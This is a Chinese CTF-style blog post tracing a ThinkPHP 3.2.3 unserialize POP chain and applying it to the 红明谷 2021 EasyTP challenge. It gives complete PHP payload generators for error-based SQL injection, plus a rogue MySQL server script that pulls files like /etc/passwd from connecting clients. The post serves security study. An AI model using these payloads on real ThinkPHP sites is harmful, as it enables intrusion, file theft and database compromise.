ThinkPHP3.2.*POP链复现(SQL注入&读取文件)
前言:
- 最近在学习TP框架的时候遇到的题,决定把TP常见的那几条pop链都给复现一下
- 由于本人目前比较菜,有些地方写得会比较模糊,等到时候我会重新补充归档一下
- 复现链子非常折磨,特别是代码量比较大且对这个框架不是很熟悉的情况下,所以建议找个状态好的时间审
环境搭建:
环境
php版本:5.4.45
操作系统:Windows
中间件:apache
ThinkPHP版本:3.2.3
数据库:MySQL
工具
PHPstorm
搭建
在Home模块下的index控制器下写一个反序列化点
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($n) { unserialize(base64_decode($n)); echo 1; } }
搭建完成
POP链复现:
寻找反序列化入口
双击shift查找__destruct方法
跟进/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
发现这里可以通过控制成员变量调用其他类的destroy方法
跟进destroy方法
跟进文件/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
这里同样可以通过控制$this->handle来调用其它类的delete方法
PS:这里的destroy方法形参为初始化默认值(比如destroy($sessID = '')),所以未传参的情况下会报错导致链子无法向下进行,这里的解决方法是把php版本换成php5,具体原因不知道
跟进delete方法
进入/ThinkPHP/Library/Think/Model.class.php
的delete方法
public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
if(is_numeric($options) || is_string($options)) {
// 根据主键删除记录
if(strpos($options,',')) {
$where[$pk] = array('IN', $options);
}else{
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
// 根据复合主键删除记录
if (is_array($options) && (count($otions) > 0) && is_array($pk)) {
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 分析表达式
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}
if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// 返回删除记录个数
return $result;
}
分析这个delete方法
$pk = $this->getPk(); //$pk可控制
跟进这里的getPk方法,发现getPk返回的值可以自己控制,也就是可以控制pk变量
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
//控制option的值
else
return false;
}
option传入的值可以通过destroy方法所在类的成员变量的
$this->sessionName
来控制但是传入的值只能是字符串,而可以通过这个return回调来自由控制option
此时往下看跳转到518行,看到有个$this->db->delete($options)
也就可以一次为跳板,调用其它类的任意类的delete方法,且传参可控,也就是说可以调用驱动类里面的数据库delete操作,然后我们接着跟进驱动类的delete方法
驱动类delete方法
public function delete($options=array()) {
$this->model = $options['model'];
//将$options['model']的值赋给model成员属性
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
//若传入的option数组中有bind键,就将bind键的值合并到bind成员属性上
$table = $this->parseTable($options['table']);
//将option[table]的值解析到变量table中,且是以逗号分隔,存储的是表名
$sql = 'DELETE FROM '.$table;
//将表名拼接到sql语句中
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
//这个没必要看
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
//拼接限制条件,如果option[where]存在的话
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
//判断是否为单表操作,如果是那就拓展order和limit限制约束
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
//拼接注释
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
//调用$this->execute方法执行SQL语句
}
具体分析下来发现这个函数主要是处理sql语句,在最后一行的时候才调用$this->execute方法执行命令,且这个sql语句可以自由控制的,比如说这里的table变量就可以通过传入的传参来控制,从而达到sql注入的效果。 理论上来说这里已经就可以结束了,但是我们还得继续跟进一下execute方法,看下里面是否会有影响我们sql注入的地方,或者是否还有其它漏洞
跟进$this->execute方法
那我们又来慢慢的审 计吧
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
//初始化数据库连接,核心的一部分,我下面单独拉出来将
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){
return '\''.$that->escapeString($val).'\''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
//释放前次的查询结果
if ( !empty($this->PDOStatement) ) $this->free();
$this->executeTimes++;
N('db_write',1); // 兼容代码
// 记录开始执行时间
$this->debug(true);
$this->PDOStatement = $this->_linkID->prepare($str);
if(false === $this->PDOStatement) {
$this->error();
return false;
}
foreach ($this->bind as $key => $val) {
if(is_array($val)){
$this->PDOStatement->bindValue($key, $val[0], $val[1]);
}else{
$this->PDOStatement->bindValue($key, $val);
}
}
$this->bind = array();
try{
$result = $this->PDOStatement->execute();
// 调试结束
$this->debug(false);
if ( false === $result) {
$this->error();
return false;
} else {
$this->numRows = $this->PDOStatement->rowCount();
if(preg_match("/^\s*(INSERT\s+INTO|REPLACE\s+INTO)\s+/i", $str)) {
$this->lastInsID = $this->_linkID->lastInsertId();
}
return $this->numRows;
}
}catch (\PDOException $e) {
$this->error();
return false;
}
}
可以发现这个方法大致写的就是先通过$this->config里面的值去初始化数据库连接,然后在这基础上执行前面传入的sql语句
我们跟进一下$this->initConnect(true);
接着又跟进$this->connect()
到这里链子就已经结束了,总结一下
总结
链子:
/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
::__destruct()
=>
/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
::destroy()
=>
/ThinkPHP/Library/Think/Model.class.php
::delete()
=>
/ThinkPHP/Library/Think/Db/Driver.class.php
::delete()
漏洞利用
在驱动类中的execute方法中我们可以通过修改config成员变量,使得我们能够自由连接数据库,也就是说,我们可以连接恶意数据库从而达到一些目的,比如说MySQL恶意服务端读取客户端文件漏洞
POC脚本:
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp",
"hostname" => "127.0.0.1",
"hostport" => "3307",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
//此为搬运poc
例题:
[红明谷CTF 2021]EasyTP
提示为tp框架,访问www.zip拿到源码
在默认控制器下发现有反序列化点,直接post传参就行
现在我们可以利用上面那个poc读取文件,先试试读取/etc/passwd
成功读到文件,然后试着读取数据库的配置
本来是想着读取他的配置文件,看有没有数据库密码之内的,很显然我没找到,但我感觉预期就是通过读文件来找mysql数据库密码泄露,然后进行sql注入。
后来我去看了一眼WP发现这个比赛时的数据库密码原来是弱口令123456,BUU上复现的也是弱口令root,那这就好办了,直接sql注入
报错注入的过程就不做具体叙述了
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,concat(0x7e,substr((select group_concat(flag) from test.flag),1,32)),0)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
poc如上
这里再给出一个mysql恶意读文件的php脚本
<?php
function unhex($str) { return pack("H*", preg_replace('#[^a-f0-9]+#si', '', $str)); }
$filename = "/etc/passwd";
$srv = stream_socket_server("tcp://0.0.0.0:3306");
//自行修改端口
while (true) {
echo "Enter filename to get [$filename] > ";
$newFilename = rtrim(fgets(STDIN), "\r\n");
if (!empty($newFilename)) {
$filename = $newFilename;
}
echo "[.] Waiting for connection on 0.0.0.0:3306\n";
$s = stream_socket_accept($srv, -1, $peer);
echo "[+] Connection from $peer - greet... ";
fwrite($s, unhex('45 00 00 00 0a 35 2e 31 2e 36 33 2d 30 75 62 75
6e 74 75 30 2e 31 30 2e 30 34 2e 31 00 26 00 00
00 7a 42 7a 60 51 56 3b 64 00 ff f7 08 02 00 00
00 00 00 00 00 00 00 00 00 00 00 00 64 4c 2f 44
47 77 43 2a 43 56 63 72 00 '));
fread($s, 8192);
echo "auth ok... ";
fwrite($s, unhex('07 00 00 02 00 00 00 02 00 00 00'));
fread($s, 8192);
echo "some shit ok... ";
fwrite($s, unhex('07 00 00 01 00 00 00 00 00 00 00'));
fread($s, 8192);
echo "want file... ";
fwrite($s, chr(strlen($filename) + 1) . "\x00\x00\x01\xFB" . $filename);
stream_socket_shutdown($s, STREAM_SHUT_WR);
echo "\n";
echo "[+] $filename from $peer:\n";
$len = fread($s, 4);
if(!empty($len)) {
list (, $len) = unpack("V", $len);
$len &= 0xffffff;
while ($len > 0) {
$chunk = fread($s, $len);
$len -= strlen($chunk);
echo $chunk;
}
}
echo "\n\n";
fclose($s);
}
文章参考
http://www.rabcdxb.ltd/archives/-hong-ming-gu-ctf2021easytp